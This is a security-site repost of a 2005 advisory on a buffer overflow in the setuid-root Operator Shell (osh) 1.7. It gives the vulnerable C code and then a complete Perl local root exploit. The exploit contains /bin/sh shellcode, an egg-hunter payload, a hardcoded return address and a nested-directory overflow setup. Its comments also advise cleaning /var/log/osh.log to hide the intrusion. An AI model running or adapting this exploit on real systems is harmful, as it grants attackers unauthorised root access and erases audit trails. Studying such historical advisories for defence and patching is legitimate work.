首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Operator Shell (osh) Buffer Overflow
来源:bokeoa.com 作者:Charles 发布时间:2005-08-29  

Operator Shell (osh) Buffer Overflow

Summary
The Operator Shell (Osh) is a setuid root, security enhanced, restricted shell.

Lack of proper length validation allow attackers to cause buffer overflows with OSH and execute arbitrary code with root privileges.

Credit:
The information has been provided by Charles Stevenson.

Details
Vulnerable Systems:
* osh version 1.7 and prior

Osh allocates a buffer of 255 bytes to store MAXPATHLEN, which is defined to be 1024-4096 bytes in modern operating systems. If the length of the current working directory plus the length of the file name is longer than 255 bytes, there will be a buffer overflow in the variable temp3[].

Vulnerable Code:
handlers.c:364
char temp3[255];

if (*file!='/') {
getcwd(temp3, MAXPATHLEN);
strcat(temp3,"/");
strcat(temp3,file);
}

...

Exploit:
#!/usr/bin/perl
#######################################################################
#
# OSH 1.7 Exploit #2 (Gonna bang away at this until it's removed ;-)
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core at bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem (discovered by Solar Eclipse):
#
# handlers.c:364
#
# char temp3[255];
#
# if (*file!='/') {
# getcwd(temp3, MAXPATHLEN);
# strcat(temp3,"/");
# strcat(temp3,file);
# }
#
# ...
#
# "If the length of the current working directory plus the length of the
# file name is longer than 255 bytes, there will be a buffer overflow in
# temp3[]. The size limit of the current direcory is MAXPATHLEN, which is
# defined as 1024 on modern Linux systems. The limit for the file name is
# MAXFNAME, defined as 32 in struct.h:116."
#
# [ilja] MAXPATHLEN on recent glibcs is defined as 4096 i believe
# [ilja] not 1024 as you reported
# [ilja] on fbsd it would be 1024
#
# "This code is in the writable() function, which is called by the handlers
# for built-in cp, vi, rm and test commands, as well as the redirect
# function." -- Solar Eclipse
#
# Risk: Medium since user would have to be in the operator group which
# the admin would have to grant explicitly and I assume would be
# a trustworthy individual ;-)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, cnn, arcanum, mercy, amnesia,
# banned-it, capsyl, sloth, redsand, KF, akt0r, MRX, salvia, truthix, ...
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# 08/12/05 - PoC causes segv with 0x41414141 eip
# 08/16/05 - PoC _exit(0) ... need shellcode to get past char filters
# 08/16/05 - Later that night... or morning... ROOTSHELL!! Woot! PTP joint
# effort on the shellcode.
#
# I still find it hard to imagine that anyone would use osh
# The code is basically beyond repair. Sudo is better.... :-)
#
# Don't forget to clean /var/log/osh.log
#
#######################################################################
# PRIVATE - DO NOT DISTRIBUTE - PRIVATE #
#######################################################################


# Yanked from one of KF's exploits.. werd brotha ;-) I'm lazy..
$sc = "\x90" x (511-45) .

# 45 bytes by anthema. 0xff less
"\x89\xe6" . # /* movl %esp, %esi */
"\x83\xc6\x30" . # /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */
"\x40" . # /* incl %eax */
"\x89\x06" . # /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */
"\x40" . # /* incl %eax */
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */
"\x29\xc0" . # /* subl %eax, %eax */
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" . # /* movb $0x0b, %al */
"\x87\xf3" . # /* xchgl %esi, %ebx */
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */
"\xcd\x80"; # /* int $0x80 */

# 0day shellcodez....
#
# Nemo's idea... PTP #social collaborative effort. Searches the stack
# until it finds a nopsled and executes the shellcode
$ptp_sc = "\x61\x66\x3d\x90\x90\x75\xf9\x54\xc3";

# _exit(0);
#"\x31\xc0\x31\xdb\x40\xcd\x80";

print "\nOperator Shell (osh) 1.7-13 root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <core\@bokeoa.com>\n";
print "This exploit would not have been near as fun without\n";
print "the pulltheplug.org community.\n\n";

# Clear out the environment.
foreach $key (keys %ENV) { delete $ENV{$key}; }

# Setup simple env
$ENV{"HELLCODE"} = "$sc";
$ENV{"TERM"} = "linux";
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin";

chdir("/tmp/");

# Create the payload...
mkdir("A"x255,0755);
chdir("A"x255);
mkdir("B"x255,0755);
chdir("B"x255);
mkdir("C"x118,0755);
chdir("C"x118);

#XXX: Commandline can't have: 0x09 0x0a 0x20 0x22 0x24 0x26
# (what made this fun) 0x3b 0x3c 0x3e 0x7c 0xff

#$file = pack("l",0xdeadbeef) . "core";
#$file = pack("l",0x804e36c) . "core";
$file = pack("l",0x804e36c) . $ptp_sc; # inputfp + 12

system("touch '$file'");
system("/usr/sbin/osh test -w '$file'");

print("cleaning up /tmp\n");
chdir("../../../");
system("rm -rf AAAA*/");

# EOF



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Home Ftp Server Multiple Vulne
·One Exploit Play More OS
·Ventrilo Denial of Service
·Adobe Version Cue VCNative Pre
·GTChat Remote Denial Of Servic
·Adobe Version Cue -lib Command
·WinAce Temporary File Handling
·Gopher <= 3.0.9 VIEWS Remot
·Open DC hub Buffer Overflow
·IIS Information Disclosure
·Raising The Bar For Windows Ro
·DameWare Mini Remote Control S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved